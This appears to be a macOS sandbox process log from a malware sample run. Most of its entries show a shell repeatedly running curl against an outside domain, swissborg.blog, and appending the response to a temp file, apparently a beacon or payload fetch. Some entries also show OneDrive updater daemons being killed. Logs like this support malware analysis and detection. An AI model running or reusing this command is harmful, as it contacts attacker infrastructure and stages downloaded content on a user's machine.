/System/Library/PrivateFrameworks/ViewBridge.framework/Versions/A/XPCServices/ViewBridgeAuxiliary.xpc/Contents/MacOS/ViewBridgeAuxiliary
/System/Library/PrivateFrameworks/ViewBridge.framework/Versions/A/XPCServices/ViewBridgeAuxiliary.xpc/Contents/MacOS/ViewBridgeAuxiliary
1⤵
PID:797

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:798

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:798

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:798

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:800

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:800

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:800

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:802

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:802

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:802

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:805

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:805

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:805

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:807

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:807

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:807

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:809

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:809

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:809

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:811

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:811

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:811

/usr/libexec/xpcproxy
xpcproxy com.apple.mobileassetd
1⤵
PID:813

/usr/libexec/mobileassetd
/usr/libexec/mobileassetd
1⤵
PID:813

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:815

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:815

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:815

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:817

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:817

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:817

/usr/libexec/xpcproxy
xpcproxy com.apple.PerfPowerServices
1⤵
PID:819

/usr/libexec/PerfPowerServices
/usr/libexec/PerfPowerServices
1⤵
PID:819

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:820

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:820

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:820

/bin/launchctl
/bin/launchctl kill SIGTERM system/com.microsoft.OneDriveUpdaterDaemon
1⤵
PID:824

/bin/launchctl
/bin/launchctl kill SIGTERM system/com.microsoft.OneDriveStandaloneUpdaterDaemon
1⤵
PID:825

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:830

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:830

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:830

/usr/libexec/xpcproxy
xpcproxy com.apple.MRTa
1⤵
PID:833

/Library/Apple/System/Library/CoreServices/MRT.app/Contents/MacOS/MRT
/Library/Apple/System/Library/CoreServices/MRT.app/Contents/MacOS/MRT -a
1⤵
PID:833

/usr/bin/xcode-select
/usr/bin/xcode-select -p
1⤵
PID:834

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:835

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:835

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:835

/usr/libexec/xpcproxy
xpcproxy com.apple.ReportCrash
1⤵
PID:837

/System/Library/CoreServices/ReportCrash
/System/Library/CoreServices/ReportCrash agent
1⤵
PID:837

/usr/libexec/xpcproxy
xpcproxy com.apple.ReportMemoryException
1⤵
PID:838

/usr/libexec/ReportMemoryException
/usr/libexec/ReportMemoryException
1⤵
PID:838

/usr/libexec/xpcproxy
xpcproxy com.apple.icloud.findmydeviced
1⤵
PID:839

/usr/libexec/findmydeviced
/usr/libexec/findmydeviced
1⤵
PID:839

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:843

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:843

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:843

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:849

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:849

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:849

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:855

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:855

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:855

/usr/libexec/xpcproxy
xpcproxy com.apple.AddressBook.ContactsAccountsService
1⤵
PID:857

/System/Library/Frameworks/AddressBook.framework/Executables/ContactsAccountsService
/System/Library/Frameworks/AddressBook.framework/Executables/ContactsAccountsService
1⤵
PID:857

/usr/libexec/xpcproxy
xpcproxy com.apple.routined
1⤵
PID:858

/usr/libexec/routined
/usr/libexec/routined LAUNCHED_BY_LAUNCHD
1⤵
PID:858

/usr/libexec/xpcproxy
xpcproxy com.apple.secd
1⤵
PID:859

/usr/libexec/secd
/usr/libexec/secd
1⤵
PID:859

/usr/libexec/xpcproxy
xpcproxy com.apple.Maps.mapspushd
1⤵
PID:860

/System/Library/CoreServices/mapspushd
/System/Library/CoreServices/mapspushd
1⤵
PID:860

/usr/libexec/xpcproxy
xpcproxy com.apple.nehelper
1⤵
PID:861

/usr/libexec/nehelper
/usr/libexec/nehelper
1⤵
PID:861

/usr/libexec/xpcproxy
xpcproxy com.apple.neagent.878568F8-CCE5-4157-8315-22F20DC8FB0A
1⤵
PID:862

/usr/libexec/neagent
/usr/libexec/neagent
1⤵
PID:862

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:865

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:865

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:865

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:871

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:871

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:871

/usr/libexec/xpcproxy
xpcproxy com.apple.tailspind
1⤵
PID:873

/usr/libexec/tailspind
/usr/libexec/tailspind
1⤵
PID:873

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:875

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:875

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:875

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:877

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:877

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:877

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:879

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:879

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:879

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:881

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:881

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:881

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:883

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:883

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:883

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:885

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:885

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:885

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:887

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:887

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:887

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:889

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:889

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:889

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:891

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:891

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:891

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:893

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:893

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:893

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:895

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:895

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:895

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:897

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:897

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:897

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:902

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:902

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:902

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:904

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:904

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:904

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:906

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:906

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:906

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:908

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:908

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:908

/usr/libexec/xpcproxy
xpcproxy com.apple.sysmond
1⤵
PID:910

/usr/libexec/sysmond
/usr/libexec/sysmond
1⤵
PID:910

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:911

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:911

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:911

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:913

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:913

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:913

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:915

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:915

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:915

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:917

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:917

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:917

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:919

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:919

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:919

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:921

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:921

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:921

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:923

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:923

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:923

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:925

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:925

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:925

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:927

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:927

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:927

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:929

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:929

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:929

/usr/libexec/xpcproxy
xpcproxy com.apple.ScreenTimeAgent
1⤵
PID:931

/System/Library/PrivateFrameworks/ScreenTimeCore.framework/Versions/A/ScreenTimeAgent
/System/Library/PrivateFrameworks/ScreenTimeCore.framework/Versions/A/ScreenTimeAgent
1⤵
PID:931

/usr/libexec/xpcproxy
xpcproxy com.apple.dmd
1⤵
PID:932

/usr/libexec/dmd
/usr/libexec/dmd
1⤵
PID:932

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:933

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:933

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:933

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:935

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:935

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:935

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:937

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:937

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:937

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:939

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:939

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:939

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:941

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:941

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:941

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:943

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:943

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:943

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:945

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:945

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:945

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:947

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:947

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:947

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:949

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:949

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:949

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:951

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:951

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:951

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:953

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:953

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:953

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:955

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:955

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:955

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:957

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:957

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:957

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:959

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:959

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:959

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:961

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:961

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:961

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:963

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:963

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:963

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:965

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:965

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:965

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:967

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:967

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:967

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:969

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:969

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:969

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:971

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:971

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:971

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:973

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:973

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:973

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:975

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:975

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:975

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:977

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:977

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:977

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:979

/bin/bash
